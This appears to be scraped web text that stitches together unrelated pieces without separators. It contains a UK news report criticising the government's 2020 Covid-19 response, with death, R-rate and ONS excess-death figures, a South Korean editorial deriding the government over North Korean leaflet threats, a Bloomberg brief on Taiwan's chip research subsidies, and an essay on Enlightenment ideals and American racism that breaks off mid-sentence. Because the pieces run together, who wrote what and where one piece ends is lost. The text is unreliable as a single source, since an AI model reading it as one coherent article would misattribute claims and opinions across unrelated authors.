UK ministers faced intense criticism for failing to seek help from the private sector, particularly from smaller firms, quickly enough.

Experts argued that small laboratories could be put to work to process swab tests and help to hit the target.

The push was likened to the 'little ships' which helped during the Dunkirk evacuation in the Second World War.

But the Government was accused of failing to act on offers of help when they were first made which meant the UK was always struggling to gain ground.

The slow uptake of the offers was blamed by some in Whitehall on Public Health England's alleged 'control freakery' but ministers did eventually U-turn and seek support from small labs.

Mr Hancock then claimed victory at the end of April as he said the target had been hit only for it to emerge that the Government had included postal kits in the figures on the day they were sent out rather than when they were processed.

Mr Johnson admitted at the end of May during an appearance in front of the Liaison Committee that the UK's testing capability was underpowered at the start of the outbreak because the 'brutal reality' was Britain did not 'learn the lessons' of previous pandemics.

A Government spokesperson said: 'In the early stages we rightly prioritised those with a medical need and healthcare workers.

'From the outset, we have acknowledged the need to increase our testing capacity, having started from a low base and we have done so reaching over 200,000 tests per day by the end of May. Our approach has meant that everyone with symptoms now has access to rapid, free testing.'

Antigen versus antibody tests

When Mr Hancock made his 100,000 tests pledge it is thought he was expecting some of that number to be made up of antibody tests.

Antibody tests show if someone has had coronavirus while the more laborious antigen tests show if someone currently has it.

Mr Johnson said on March 19 that the Government was in negotiations to buy 'game changer' antibody tests.

But it subsequently emerged that none of the antibody tests were accurate enough to be rolled out, meaning Mr Hancock was totally reliant on ramping up antigen testing to hit his target.

The UK then had to try to get millions of pounds of taxpayers' money back for the antibody tests it had already agreed to purchase, with reports suggesting Britain had paid two Chinese companies an estimated 16 million for two million tests which could not be used.

No10 claimed they have signed contracts for over 10 million antibody tests from Roche and Abbott that are expected in the coming months

'All NHS and care staff in England will be offered a test, with patients and care residents eligible at their clinicians request,' they said.

'In the 24 hours to 9am this morning there were 40,385 antibody tests carried out. There have now been 194,467 antibody tests completed on NHS staff and patients.'

A furious row over PPE shortages

A row over shortages of personal protective equipment for NHS and care staff dominated April as ministers were told a lack of gowns, masks and gloves was putting the lives of frontline workers at risk.

Ministers scrambled to buy up equipment from all over the world as they insisted there was not a national shortage of PPE.

However, they did concede there may have been localised instances of hospitals and care homes not having enough equipment.

Ministers were keen to trumpet their apparent successes as pressure grew with the Government announcing in the middle of April that a deal had been done to fly in a massive order of equipment from Turkey.

However, the shipment descended into farce as delivery was delayed only for it to later emerge at the start of May that 400,000 gowns were still sitting in a UK warehouse because they did not meet British safety standards.

The Government responded by saying they have handed out 1.65 billion pieces of PPE during the pandemic, including 14 million items yesterday.

A spokesperson said: 'As restrictions are carefully eased - when it is safe to do so - its likely that we will see more people needing to use public transport

'Thats why from 15 June it will become mandatory to wear a face covering on public transport

'Social distancing remains the most important way to reduce the spread of the virus, but on public transport where it is not always possible to follow the guidance consistently, these changes will make sure passengers benefit from the additional protection face coverings can offer and help to keep frontline staff and fellow passengers safe.'

A U-turn on wearing face coverings

The wearing of face masks has become a common sight across the globe with a raft of countries steadily making the coverings compulsory on public transport and in situations where social distancing is not possible since the middle of March.

New York made its decision on April 15, in Germany it was April 22, in France it was May 11 and in South Korea it was May 26.

Vietnam made face masks compulsory in public on March 16 while the Czech Republic was the first European nation to make the move on March 18.

The scientific community has been split on how effective face coverings are with the World Health Organisation still recommending that only two groups of people should wear them: Those who are sick and those who are caring for someone with coronavirus.

However, experts are increasingly leaning toward the notion that something is better than nothing.

A University of Oxford study published on March 30 concluded that surgical masks are just as effective at preventing respiratory infections as N95 masks for doctors, nurses and other health care workers.



For much of the outbreak the UK Government said it was assessing the evidence on wearing face masks as it delayed recommending they be worn.

Number 10's experts suggested that wearing face coverings may only provide a very small benefit.

Eventually on April 30 Mr Johnson said face coverings could be 'useful' as lockdown was eased but wearing them was voluntary.

It was only yesterday that the Government announced the wearing of face masks will be made compulsory on public transport from June 15 with some experts querying why it has taken Britain so long to make the move.

Slow action on protecting care homes

Ministers have faced repeated claims of treating the care sector like a 'second class citizen' during the outbreak when compared to the NHS.

The Government has also faced accusations of unsafely discharging care home residents from hospitals back to care settings before coronavirus testing was widespread, risking outbreaks.

Official statistics showed that between March 2 and May 1 there were more than 12,000 deaths in care homes where Covid-19 was mentioned on the death certificates amid fears the true number is likely to be much higher.

Mr Johnson was skewered on the issue in the middle of May by Sir Keir Starmer after the Labour leader quoted official guidance that had been in place until March 12  well after coronavirus had started being transmitted in the UK - which said 'it remains very unlikely that people receiving care in a care home or the community will become infected'.

Sir Keir said during PMQs that the advice showed the Government had been too slow to protect people in care homes.

Mr Johnson replied that it wasnt true to say the advice said that. He later refused to apologise and accused Sir Keir of quoting selectively from the guidance.

Amid growing pressure over the approach to the care sector, Mr Hancock then announced on May 15 that all care home residents and staff will be tested for coronavirus by 'early June'. Critics asked why testing had not been ramped up earlier.

No10 responded saying: 'The Government has been working since the beginning of the outbreak to seek to minimise the rate of infection in care homes.

'We put in place a policy to ensure all people are tested when being discharged from hospitals into care homes and we have allocated 1.3 billion of additional funding to enhance the NHS discharge process. We expect local authorities to work together with the NHS to put this approach into practice.

'As a result of this - and the work of so many people across the NHS and social care sector - two thirds of Englands care homes have had no outbreak at all. The NHS is responsible for testing these specific patients, in advance of timely discharge to care home settings.

'We have allocated 1.3 billion of additional funding to enhance the NHS discharge process, getting patients who no longer need urgent treatment home from hospitals safely and quickly. On 2nd April we recommended symptomatic residents discharged from hospital were kept in isolation for 14 days.

'From 15th April, all patients were tested prior to discharge to a care home, with responsibility given to councils to identify alternative accommodation.

'A small number of people may be discharged from the NHS within the 14-day period from the onset of COVID-19 symptoms needing ongoing social care. They will have been COVID-19 tested and have confirmed COVID-19 status. Some care providers will be able to accommodate these individuals through effective isolation strategies or cohorting policies.

'Weve announced a new 600m Infection Control Fund for care homes to tackle the spread of Covid-19. This is part of a support package that will help deploy NHS staff to offer clinical support and assist with restricting staff to work in only one care home. This comes on top of the 3.2 billion we made available in March and April, and the 712 million weve made available to the devolved authorities.

'We have built the largest diagnostic testing industry in British history from scratch and all care home staff and residents can now be tested, whether they have symptoms or not, with tens of thousands already tested.'

Announcing lockdown later than European neighbours

Mr Johnson put the UK into a state of coronavirus lockdown on March 23 as people were told they could only leave the house for food, medicine, exercise once a day or to get to work if they could not work from home.

Up to that point the Government's main coronavirus advice to combat the spread of the disease had been for people to wash their hands more often than normal.

His decision to impose draconian restrictions on daily life came later than a number of the UK's European neighbours which had already chosen to act.

For example, a lockdown in France came into effect on March 17 while in Spain it was even earlier on March 14.

The UK Government has always insisted its decisions have been guided by the latest scientific and expert advice.

Official data shows that adherence to the lockdown measures in the UK has been high but the Government has faced accusations of causing confusion as the four Home Nations ease measures at different rates with England taking the most aggressive approach and Scotland being most cautious.

The Government defended their decision, saying: 'Countries report statistics in different ways so it is not possible to make like-for-like comparisons, however, other major European countries implemented lockdown measures at a similar point in the curve of the epidemic to the UK.

'This is an unprecedented global pandemic and we have taken the right steps at the right time to combat it in the UK, guided at all times by the best scientific advice.'

Social distancing

Advice to remain two metres apart from other people when outside has been a central plank of the Government's coronavirus response, having first been announced by the PM on March 12.

But that message risked being undermined after it emerged that scientists were urging the government to tell people to stop shaking hands the same day Mr Johnson was boasting about shaking hands with 'everybody'.

Records released on May 5 showed a SAGE sub-committee on March 3 concluded that 'Government should advise against greetings such as shaking hands and hugging, given existing evidence about the importance of hand hygiene'.

However, that evening Mr Johnson told a press conference in Downing Street that he 'continued to shake hands' and the important thing was washing them.

He said: 'I was at a hospital the other night where I think there were a few coronavirus patients and I shook hands with everybody, you will be pleased to know, and I continue to shake hands.'

Critics have also argued that adherence to social distancing rules and wider lockdown restrictions had undoubtedly been undermined by a row over Dominic Cummings' trip to Durham.

A Downing Street spokesperson said: 'The PM set out on many occasions that he made the decision at the time as a general principle to continue shaking hands with additional precautions including frequent hand washing. He also frequently used social media to urge the public to follow guidance on measures to reduce the spread.'

Foreign travel ban

On March 12 Donald Trump announced sweeping travel restrictions on 26 European countries in a bid to stop the spread of the disease in the US.

The US President banned travellers from EU states from going to the US. The UK and Ireland were initially not included before the restrictions were then ramped up.

It was not until March 17 when the UK government took action as the Foreign Office announced it was advising against all non-essential international travel with the restrictions coming into force immediately.

Boris Johnson and his partner Carrie Symonds speak with heavyweight boxer Anthony Joshua at the Commonwealth Service at Westminster Abbey on Commonwealth Day on March 9

Failing to impose tough border control measures

While the Government did impose a ban on non-essential international travel it did not completely close the UK's borders which meant people were still able to come into the country from abroad - even from coronavirus hotspots.

Statistics published in May showed that just 273 out of 18.1 million people who arrived in the UK in the three months before the coronavirus lockdown were placed into quarantine.

Even after lockdown there have still been hundreds of thousands people arriving in the UK every month.

Ministers were repeatedly criticised over a lack of screening at airports for people coming back to the UK, particularly during the early weeks of the outbreak, amid fears Britain was importing new cases.

The Government subsequently argued that tough restrictions at the border would have had little effect because of the increasing domestic rate of transmission.

Ministers are now planning to introduce 14 day quarantine periods for returning travellers from June 8 prompting questions over why the move was not taken right at the start of the outbreak.

A No10 spokesperson said: 'Imported cases matter most when the UK has a low level of infection. When domestic transmission is high, imported cases represent a small amount of the total and make no significant difference to the epidemic.

'As the UK moves to a situation where domestic transmission is much lower, imported cases could become a higher proportion of the overall number of infections. Requiring arrivals to the UK to self-isolate for 14 days will reduce the risk of transmission from this group.

'Now that domestic transmission is decreasing, it is the right time to prepare new measures at the border to protect us from imported cases and the risk of a second wave of infections from those arriving here.

'As the Prime Minister has set out, those arriving in the UK from overseas will be required to self-isolate.'

Britain announces 357 more coronavirus deaths in as official number of Covid-19 victims tops 40,000 - while separate data shows crucial R rate is ABOVE 1 in the North West and South West

ByStephen Matthews Health Editorand Sam Blanchard Senior Health Reporter For Mailonline

The UK's official coronavirus death toll yesterday surpassed 40,000 as health chiefs announced 357 more Brits have lost their lives to the disease and scientists suggested the R rate has now risen to above the dreaded number of one in two regions of England.

Department of Health data shows 343 deaths occurred in England, followed by nine in Scotland, four in Wales and one in Northern Ireland - taking the official Covid-19 death toll to 40,261.

But the true number of coronavirus victims is known to be thousands higher. The Government only includes laboratory-confirmed cases in its daily update, meaning patients who are suspected to have died but never got tested for the infection aren't included.

It comes as separate estimates produced by experts at Public Health England and Cambridge University today suggested the R-rate - the average number of people each Covid-19 patient infects - is above the danger level of one in the North West and South West. It must stay below one or Britain will face another crisis.

The data - fed into No 10's scientific panel SAGE - suggested the R rate was falling before lockdown was imposed and has been creeping back up since the darkest days of the outbreak at the start of April. SAGE said the overall rate remained between 0.7 and 0.9 across the UK as a whole but admitted it may be a little higher in England.

It comes as separate estimates produced by experts at Public Health England and Cambridge University today suggested the R-rate - the average number of people each Covid-19 patient infects - is at the danger level of one in the South West

Separate data showed the R rate was around 0.94 in the East of England and was only slightly higher in London (0.95)

The estimates from the Public Health England and Cambridge University team suggested the R rate was currently the lowest in the Midlands (0.90) and the North East and Yorkshire (0.89)

However, the academics fear the R rate in the North West is 1.01 - meaning an outbreak will continue to increase. And they said the reproduction number in the South East is likely to be 0.97

One leading Cambridge statistician - who was not involved with the latest modelling - warned the findings were the regional update that everyone has been 'eager to have' but admitted they were the 'opposite of reassuring' and added: 'No wonder members of SAGE are worried.'

The PHE/Cambridge team - whose model is based on death data from NHS England and regional health officials, antibody surveillance sampling and mobility reports - also estimated 17,000 people were still being struck down with Covid-19 across England every day. And they warned the true figure could be as high as 25,000.

This was three times the estimate from a separate government-run Covid-19 surveillance testing scheme. Office for National Statistics (ONS) figures released today - based on swabs taken of nearly 20,000 people - suggested England's outbreak has shrunk by half in the past week and is infecting around 5,500 people each day.

In tonight's Downing Street press conference, Health Secretary Matt Hancock urged protesters to avoid going to George Floyd demonstrations across the country 'for the safety of loved ones'. He also announced that face masks will be compulsory for all medical staff in hospitals and visitors and outpatients must wear coverings from June 15.

HOW DEADLY IS THE VIRUS? The Cambridge-PHE team looked at the deaths across England to work out an estimated infection-fatality rate - the percentage of people who will die if they caught the virus. They suggested COVID-19 kills 0.88 per cent of people it infects - a similar figure has been seen around the world, which would make it six times deadlier than seasonal flu. But they admitted it could be as low as 0.77 or as high as 1 per cent. AGE GROUP OVERALL 0-4 5-14 15-24 25-44 45-64 65-74 75+ DEATH RATE 0.88% 0.00041% 0.001% 0.0039% 0.024% 0.36% 2.3% 23% SO, HOW DOES IT COMPARE TO OTHER ESTIMATES? 0.1% FLU

FLU 0.19% ANTIBODY SAMPLE FROM HELSINKI, FINLAND

ANTIBODY SAMPLE FROM HELSINKI, FINLAND 0.37% ANTIBODY SAMPLE FROM GANGELT, GERMANY

ANTIBODY SAMPLE FROM GANGELT, GERMANY 0.4% ANTIBODY SAMPLE FROM STOCKHOLM, SWEDEN

ANTIBODY SAMPLE FROM STOCKHOLM, SWEDEN 0.75% EXPERT ESTIMATE FROM REVIEW OF 13 STUDIES

EXPERT ESTIMATE FROM REVIEW OF 13 STUDIES 0.79% ANTIBODY SAMPLE FROM NEW YORK CITY Advertisement

HOW MANY PEOPLE HAVE CAUGHT THE VIRUS IN YOUR REGION? REGION ENGLAND EAST LONDON MIDLANDS NE AND YORKS NORTH WEST SOUTH EAST SOUTH WEST TOTAL CASES 5,620,000 567,000 1,490,000 1,030,000 809,000 849,000 641,000 223,000 'ATTACK RATE' 10% 9% 17% 10% 9% 12% 7% 4% What is the attack rate? The Cambridge-PHE team used this term to describe the percentage of any given group that has been infected. For example, an attack rate of 20 per cent in London suggests one in five people living in the capital have already had the virus. How accurate is the above number? The experts gave a range of numbers for each region and settled on their best guess, which was the number quoted above. The full ranges were: ENGLAND: 4,890,000 - 6,410,000 (9% - 11%) EAST: 490,000 - 657,000 (8% - 10%) LONDON: 1,300,000 - 1,700,000 (15% - 19%) MIDLANDS: 899,000 - 1,190,000 (9% - 11%) NE AND YORKS: 698,000 - 931,000 (8% - 11%) NORTH WEST: 731,000 - 982,000 (10% - 14%) SOUTH EAST: 551,000 - 744,000 (6% - 8%) SOUTH WEST: 189,000 - 263,000 (3% - 5%) Advertisement

Department of Health figures released this afternoon show that 207,231 tests were carried out yesterday, including antibody tests for frontline NHS and care workers. It is the highest number of daily tests since the disease - which has killed almost 400,000 people worldwide and struck millions - began spreading on British soil in February.

But officials have once again refused to reveal exactly how many people were tested, meaning the number of Brits who have been swabbed for the coronavirus has been a mystery since May 22, when data showed up to 2.1million people had already had samples taken from their nose and throat.

Separate figures released by the Department of Health show that 1,650 more people tested positive for Covid-19, taking the official size of the UK's outbreak to 283,311 cases. However, the true scale of the crisis is estimated to be in millions.

The 357 Covid-19 deaths announced today is more than double the 176 registered yesterday - health chiefs have yet to explain why there was a slight blip in Thursday's figure. Historical data also shows it is 10 per cent higher than the 324 recorded last Friday and ever so slightly more than the 351 registered exactly a fortnight ago.

The figure does not show how many people died in the last 24 hours, instead it is only how many fatalities have been reported. This is the reason there is always a much lower figure on Sundays and Mondays followed by a spike on Tuesdays when the recording lag at weekends is taken account for.

Geographical breakdown of the Department of Health data shows 343 deaths occurred in England, followed by nine in Scotland, four in Wales and one in Northern Ireland. However, the figures do not always match the updates provided by each of the home nations.

For example, Scotland's health board announced 14 new deaths today and nine yesterday. But the official government tally has a different time cut-off, meaning the daily updates from Scotland as well as Northern Ireland are always out of sync. Wales is not affected.

The death figures come as a PHE/Cambridge team updated their real-time estimates of the coronavirus outbreak in England, estimating that 5.62million people across the country - or 10 per cent of the population - has already had the coronavirus.

The rate is similar to data seen from a separate antibody surveillance scheme carried out by PHE, which suggested the rate was 8.5 per cent. But it is higher than data from a separate ONS sample, which puts the national level of infection at around 6.78 per cent.

Analysis of the PHE/Cambridge data showed London has been, by far, the worst-hit region of England (17 per cent). At the peak of the capital's crisis - said to be the same day lockdown was imposed - 154,000 are thought to have caught the infection.

In comparison, only 4 per cent of people in the South West are thought to have been struck down by the coronavirus.

The team claim between 10,700 and 25,300 people caught the virus across England on June 3 and that the rate has been fairly stable since the start of May.

The team calculated that the crucial 'R' reproduction rate fell to just 0.4 in the capital in the aftermath of the lockdown being introduced. However, the rate in London - as well as other regions - slowly began to creep up to between 0.7-0.8 before moving closer to one in the past few weeks.

At the beginning of the outbreak London was the worst affected region but the latest numbers suggest it is now ahead of all but one region in terms of recovery. The data, published by the university, shows London is recording 1,310 cases each day - behind only the South West (778).

In contrast, the North West of England is recording 4,100 daily infections and has an R rate of 1.01, the highest for any region in the country. The South West also has an estimated R rate of 1. While the North East and Yorkshire is the only area to still be in the 0.8s.

Meanwhile, the team's modelling shows only one death occurs in every 113 cases - giving it an infection-fatality rate of around 0.88 per cent. Studies conducted around the world have produced a similar figure, suggesting it is up to eight times deadlier than seasonal flu.

The PHE/Cambridge team admitted the actual infection-fatality rate could be as low as 0.77 or as high as 1 per cent.

And the study showed huge variation between different age groups, warning the virus has an infection-fatality rate of around 23 per cent for over-75s. But it is below 0.024 per cent for anyone under the age of 44 - the equivalent of one death for every 4,100 cases.

WHAT IS THE R NUMBER? AND HOW IS IT CALCULATED? WHAT IS R0? Every infectious disease is given a reproduction number, which is known as R0 - pronounced 'R nought'. It is a value that represents how many people one sick person will, on average, infect. WHAT IS THE R0 FOR COVID-19? The R0 value for SARS-CoV-2, the virus that causes COVID-19, was estimated by the Imperial College COVID-19 Response Team to be 2.4 in the UK before lockdown started. But some experts analysing outbreaks across the world have estimated it could be closer to the 6.6 mark. Estimates of the R0 vary because the true size of the pandemic remains a mystery, and how fast the virus spreads depends on the environment. It will spread faster in a densely-populated city where people travel on the subway than it will in a rural community where people drive everywhere. HOW DOES IT COMPARE TO OTHER VIRUSES? It is thought to be at least three times more contagious than the coronavirus that causes MERS (0.3 - 0.8). Measles is one of the most contagious infectious diseases, and has an R0 value of 12 to 18 if left uncontrolled. Widespread vaccination keeps it suppressed in most developed countries. Chickenpox's R0 is estimated to be between 10 and 12, while seasonal flu has a value of around 1.5. WHY IS IT IMPORTANT TO HAVE A LOW R0? The higher the R0 value, the harder it is for health officials control the spread of the disease. A number lower than one means the outbreak will run out of steam and be forced to an end. This is because the infectious disease will quickly run out of new victims to strike. HOW IS IT CALCULATED? Experts use multiple sources to get this information, including NHS hospital admissions, death figures and behavioural contact surveys which ask people how much contact they are having with others. Using mathematical modelling, scientists are then able to calculate the virus' spread. But a lag in the time it takes for coronavirus patients to fall unwell and die mean R predictions are always roughly three weeks behind. Advertisement

For people between the ages of 45 and 64, the team said the death rate was around 0.36 per cent while the rate was approximately 2.3 per cent for people aged between 65 and 74.

It comes as separate figures released by the ONS this morning predicted that there are now only 53,000 people in England who currently have Covid-19 - 0.1 per cent of the population.

The estimate - based on swab tests of nearly 20,000 people picked at random to give ministers a clearer picture as to the true scale of the crisis in Britain - is a massive drop on the 133,000 people (0.24 per cent) thought to the have the illness in the same data last week.

And the ONS says that around 39,000 people per week are catching the infection - 5,500 per day, which is a drop from 54,000 per week between May 16 and May 23. This means that only around one in every 1,000 people are actually carrying the virus, down from one in 400 at the latest estimate.

The ONS report said: 'As the proportion of those testing positive in England is decreasing over time, it is likely that the incidence rate is also decreasing. However, because of the low number of new positive cases, we cannot currently measure a reduction.'

Different data from blood antibody tests, published yesterday by Public Health England, suggested that around 8.5 per cent of the country has had the virus already - some 4.76million people.

In a separate report published today the ONS confirmed that more than a quarter of the 46,380 'excess' deaths that happened between March 7 and May 1 were not directly linked to Covid-19.

That data showed that the number of people dying in care homes of any cause rose by a staggering 60 per cent in March and April, while it rose 43 per cent in private homes. Hospitals, meanwhile, saw 21 per cent fewer deaths than usual.

As well as a lack of testing, possible explanations for more people dying without even catching the virus were down to them avoiding medical care out of fear, that increased stress caused by the pandemic was killing people, and that hospitals had less capacity to help people.

As part of a nationwide swab testing scheme to find out what proportion of people would currently test positive for the disease, 19,723 people were tested between May 17 and May 30.

Those people came from 9,094 households. A total of 21 of them, from 15 different households, tested positive during that time - 0.1 per cent.

The test data covers a two-week period meaning last week's and this week's share one of the same weeks, but the ONS's estimate based on its data has dropped significantly.

The promising signal from the ONS ties in with testing data from the Department of Health which shows officials are finding it harder to track down positive cases.

Numbers of people getting diagnosed with Covid-19 through the official testing programme has fallen significantly this week despite more tests being carried out.

In the seven days up to yesterday, June 4, 13,335 people tested positive across the UK, compared to 18,219 in the seven days before that - a 36 per cent drop.

Professor Keith Neal, an epidemiologist at the University of Nottingham, said: 'The rate of infection continues to decline and is half what it was two weeks ago. Changes over a longer period are now statistically significant.

'This is highly compatible with the fall in diagnosed cases. The contact tracing service has more than enough staff to cope with the current level of infection.

Data from the Office for National Statistics shows a downward trend in the number of people testing positive for the coronavirus over the course of May

EVERY RECOVERED COVID-19 PATIENTS DEVELOPS ANTIBODIES - BUT THEY MAY NOT BLOCK THE INFECTION AGAIN Most people who recover from the novel coronavirus generate at least some antibodies capable of neutralizing SARS-CoV-2, the first round of results from a new study suggest. While many antibodies grab hold of the virus, only a few counteract the pathogen and prevent it from entering our cells. Researchers from Rockefeller University in New York City looked at 149 recovered patients and determined that the majority had a weak antibody response. However, they found that every patient's immune system seemed to be capable of generating the types of antibodies that neutralize the virus, just not particularly enough of them. 'This suggests just about everybody can do this, which is very good news for vaccines,' Dr Michel C Nussenzweig, head of the Laboratory of Molecular Immunology at Rockefeller, said in a statement. 'It means if you were able to create a vaccine that elicits these particular antibodies, then the vaccine is likely to be effective and work for a lot of people.' For the study, published on pre-peer review site bioRxiv.org, the team looked at 149 people who donated plasma at The Rockefeller Hospital in New York City over the course of five weeks. Convalescent plasma is the liquid portion of blood is taken from a recovered coronavirus patient, which contains antibodies and immune B-cells. Participants had symptoms of the virus for about 12 days while infected, and their first symptoms occurred about 39 days before they donated plasma. Researchers then mixed the plasma with a pseudo coronavirus and measured if or how well the virus would infect human cells in a petri dish. Most samples did not do very well at neutralizing the virus. In fact, the neutralizing effect was undetectable in 33 per cent of donors. The investigators say this may be because their immune systems cleared the infection before antibodies could be produced. They found that the effect was very high among one percent of patients, so-called 'elite donors.' The team identified 40 antibodies that neutralized the virus, and focused on three that did so even at low levels. These antibodies bound to at least three sites on the spike protein found on the surface of the coronavirus that it uses to enter our cells. Researchers now plan to clone these antibodies in hopes it will help patients with severe or life-threatening cases of the virus. 'We now know what an effective antibody looks like and we have found similar ones in more than one person,' Robbiani said. Advertisement

'The main problem is people not getting tested for COVID-19 when they have symptoms.'

He added: 'The main limitation of the study is the small numbers testing positive gives wide confidence intervals.

'No study is perfect but by following the same group of people it is a very powerful tool to identify the trend.'

A separate report published today by the ONS aimed to try and explain why there have been so many 'excess' deaths during the coronavirus crisis in England and Wales.

It calculated that, between March 7 and May 1, 46,380 more people died than average. Some 12,900 of them (27.8 per cent) were not direct victims of Covid-19.

That period, when NHS hospitals were urged to turf out as many patients as they could who didn't need urgent treatment, saw a 21 per cent drop in hospital deaths, the report said.

But the number of people dying in care homes soared by a massive 60 per cent, and in private homes it rose by 43 per cent.

The report said the largest increase in deaths was seen in people with dementia and Alzheimer's disease.

Nick Stripe, the head of health analysis at the ONS, said in a tweet: 'Dementia increases are so sharp it's implausible that they are unrelated to Covid-19.

'They generally affect the very old, they would tend to impact women to a greater extent than men simply due to pop[ulation] structure. Especially once care home epidemics took hold with [limited] testing.'

The ONS said that, although many of the deaths among elderly people were not attributed to Covid-19, large numbers of undiagnosed cases of the disease were a 'likely explanation'.

Dementia and Alzheimer's disease and other symptoms linked to old age accounted for two thirds of the total number of non-Covid-19 excess deaths in England and Wales from March 7 to May 1, the ONS said.

There were 5,404 more deaths than expected among dementia and Alzheimer's disease patients - a rise of 52 per cent compared to average.

And 1,567 excess deaths occurred due to 'symptoms signs and ill-defined conditions' - a 77.8% rise from the five-year average.

Undiagnosed Covid-19 could 'help explain the rise' in the deaths of frail elderly people with underlying conditions, particularly women and those in care homes, the ONS added.

It said: 'The absence of large rises in deaths due to this cause that mention conditions that could exhibit similar symptoms to Covid-19 suggests that if Covid-19 is involved in the increase in deaths due to dementia and Alzheimer disease, the usual symptoms of Covid-19 were not apparent.

'This could fit with recent clinical observations, where atypical hypoxia [low blood oxygen] has been observed in some Covid-19 patients.

'In someone with advanced dementia and Alzheimer disease, the symptoms of Covid-19 might be difficult to distinguish from their underlying illness, especially with the possibility of communication difficulties.

'Care home residents have experienced changes to their usual routine as a result of measures to tackle the coronavirus pandemic. Adverse effects of such changes cannot be discounted as another possible explanation of the increase in the number of deaths in care homes.'

Friday's release is the first detailed analysis from the ONS looking at the increased number of deaths during the pandemic where coronavirus was not mentioned on the death certificate.

The highest number of excess non-Covid-19 deaths have taken place in care homes, with a weekly maximum of 2,975 of these deaths being registered in the seven days to April 17.

Non-Covid-19 deaths in private homes saw a separate peak in the week ending April 24, when 1,760 were registered.

The ONS said that if patients have been discharged from hospital sooner than they may have been typically, because of pressure on the NHS's resources, this 'could have resulted in some deaths occurring in care homes or private homes that would have otherwise occurred in hospital'.

It added that the reported lower rates of testing in all settings outside hospitals 'could lead to some deaths in other locations involving Covid-19 not having Covid-19 listed on the death certificate as a contributory factor, leading to apparently higher non-Covid-19 excess deaths'.
South Korea is publicly derided by North Korea so often now that it is no longer newsworthy. But something happened on Thursday that cannot be overlooked. North Korean leader Kim Jong-un's hatchet-faced sister Yo-jong issued a statement in the morning denouncing the dissemination of propaganda leaflets by South Korean activists and threatened to demolish the shuttered Kaesong Industrial Complex and cross-border liaison office and tear up a 2018 military pact. "What I find more detestable are those who feign ignorance or encourage more than those who move to do others harm," she squealed, referring presumably to President Moon Jae-in.

Less than five hours later the Unification Ministry here called an unscheduled press briefing and dutifully said it is considering enacting a law that prohibits floating propaganda leaflets across the demilitarized zone. Pathetically, it claimed that they "pollute" the DMZ and make the lives of South Koreans more difficult.

Cheong Wa Dae too jumped into the contest for most craven lackey to North Korea's dictatorship and said the leaflets "do more harm than good" and vowed to deal "firmly" with those who disseminate them. Since it cannot do that and such dissemination is perfectly legal, the government then wibbled about the leaflet campaign "harming national security."

How did the government respond to real threats to national security each time Kim Jong-un fired missiles that he openly stated are aimed at South Korea? With silence.

Kim Yo-jong warned that the North could scrap the 2018 military agreement, in which both Koreas pledged to cease hostile acts. But North Korea has already violated it repeatedly -- by firing coastal artillery near the maritime border on the West Sea and firing at a South Korean border guard post -- so the pact is not worth the paper it is written on. Yet every time, the South Korean government sided with North Korea or made excuses, be it by claiming that the military pact somehow does not cover ballistic missiles or that the North fired four bullets into the same bit of wall "accidentally." Now, when it comes to a campaign to which South Koreans are constitutionally entitled, Cheong Wa Dae threatens to get all tough on them. How can some propaganda leaflets attached to helium balloons be more dangerous to national security than North Korean missiles and bullets?

The North Korean regime is of course right to be anxious about the propaganda leaflets because they tell uncomfortable truths to those North Koreans who find them. The latest batch focused on the falsehoods behind the North's denuclearization claims. In fact, North Korea has threatened before to shut down the Kaesong Industrial Complex, which was then still operational, as leverage to pressure South Korea to stop sending propaganda leaflets. The government at the time also considered banning the leaflets but abandoned the plans due to concerns over violating the Constitution. Kim Jong-un and his sister's hissy fits cannot override the Constitution. But they can expose the government here as the cowering poodle it is.


(Bloomberg) -- Taiwan is dangling incentives to attract more than NT$40 billion ($1.3 billion) of annual investments in research and technology, creating a seven-year blueprint to safeguard the islands lead in semiconductors and other cutting-edge fields.

As part of the initiative, the cabinet plans to allocate more than NT$10 billion to entice foreign chipmakers to set up R&D facilities locally, confirming an earlier Bloomberg News report. The government said Thursday it aims to subsidize as much as half of all research and development costs incurred by global chip companies that build centers on the island.

The endeavor escalates global competition for much-sought-after semiconductor technology and is intended to build on the islands technology industry, led by major players such as key Apple Inc. suppliers Taiwan Semiconductor Manufacturing Co. and Hon Hai Precision Industry Co. Taiwan has been caught in the middle of a clash between the U.S. and China over the development of chip technology that powers everything from smartphones to 5G base stations.

Last month, the Trump administration barred any chipmaker using American equipment from supplying Chinas Huawei Technologies Co. without approval, dealing a major blow to TSMC -- the worlds largest contract chipmaker -- and its peers.

Taiwan President Tsai Ing-wen has pledged to transform Taiwan into an R&D hub for emerging technologies. Her government is now pursuing more foreign tech investments from multinationals seeking to shift out of China over concerns about the intensifying U.S.-China trade war and their desire to reduce dependency on the worlds second-largest economy.

The incentive program is mainly targeted at makers of memory chips, though part of it will also be used to attract global 5G and artificial intelligence technology companies.

For more articles like this, please visit us at bloomberg.com

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05.06.2020 LISTEN

Ideals of the Enlightenment

The Age of Reason, or the Enlightenment was an intellectual and philosophical movement that dominated the world of ideas during the 17th to 19th centuries. Sir Isaac Newton's rational explanations for cosmic phenomena demonstrated that reason is better than superstition. Diderot's Encyclopedia and the writings of Voltaire and Rousseau paved the way for the end of Feudalism, the end of the theory of the Divine Right of Kings, and the liberation of serfs and slaves throughout the world.

In England, John Locke was expressing the spirit of the times when he wrote: Men living together according to reason, without a common superior on earth with authority to judge between them, is properly the state of nature... A state also of equality, wherein all the power and jurisdiction is reciprocal, no one having more than another; there being nothing more evident than that creatures of the same species, promiscuously born to all the same advantages of nature and the use of the same facilities, should also be equal amongst one another without subordination or subjection...

`But though this be a state of liberty, yet it is not a state of licence... The state of nature has a law to govern it, which obliges every one; and reason, which is that law, teaches all mankind who will but consult it, that being equal and independent, no one ought to harm another in his life, health, liberty or possessions.

Locke's ideas were reflected in the wording of the American Declaration of Independence:

We hold these truths to be self-evident, that all men are created equal, that they are endowed by their Creator with certain inalinable Rights, that among these are Life, Liberty and the pursuit of Happiness. - That to secure these rights, Governments are instituted among Men, deriving their just powers from the consent of the governed...

Sadly, these ideals do not hold in the United States today, and perhaps they never did. Although years of slavery were ended after the Civil War, and dispite the efforts of the Civil Rights Movement, racisim is widespread today, and in fact US President Donald Trump was elected on an openly racist platform. During his term of office he has been a racist in both word and deed.

Recently many American cities have erupted in protests over the senseless killing by police of yet another black man - George Floyd. The country is deeply divided.

Racism, colonialism and exceptionalism

It seems to be possible for nations, and the majority of their citizens, to commit the worst imaginable atrocities, including torture, murder and genocide, while feeling that what they are doing is both noble and good. Some understanding of how this is possible can be gained by watching the 3-part BBC documentary, ``The History of Racism":

